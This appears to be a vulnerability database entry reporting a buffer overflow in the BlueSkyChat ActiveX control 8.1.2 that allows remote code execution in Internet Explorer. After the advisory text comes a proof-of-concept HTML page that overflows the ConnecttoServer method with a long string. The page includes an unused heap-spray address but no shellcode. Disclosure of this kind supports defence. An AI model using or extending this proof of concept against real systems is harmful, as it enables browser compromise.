BlueSkyChat ActiveX Control 8.1.2 Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

BlueSkyChat ActiveX Control 8.1.2 Buffer Overflow Vulnerability. Allows remote code execution in Internet Explore


                                                source: http://www.securityfocus.com/bid/25149/info

BlueSkyChat ActiveX control is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

BlueSkyChat ActiveX control 8.1.2.0 is vulnerable to this issue; other versions may also be affected. 

&#60;html&#62;
&#60;head&#62;
&#60;OBJECT ID=&#34;com&#34; CLASSID=&#34;CLSID:{2EA6D939-4445-43F1-A12B-8CB3DDA8B855}&#34;&#62;
&#60;/OBJECT&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;SCRIPT language=&#34;javascript&#34;&#62;

function ClickForRunCalc()
{
    var heapSprayToAddress = 0x0d0d0d0d;

    var payLoadCode = &#34;A&#34; ;
    while (payLoadCode.length &#60;= 10000) payLoadCode+=&#39;A&#39;;
    com.ConnecttoServer(&#34;1&#34;,payLoadCode,&#34;3&#34;,&#34;4&#34;,&#34;5&#34;);
}
&#60;/script&#62;
&#60;button onclick=&#34;javascript:ClickForRunCalc();&#34;&#62;ClickForRunCalc&#60;/button&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1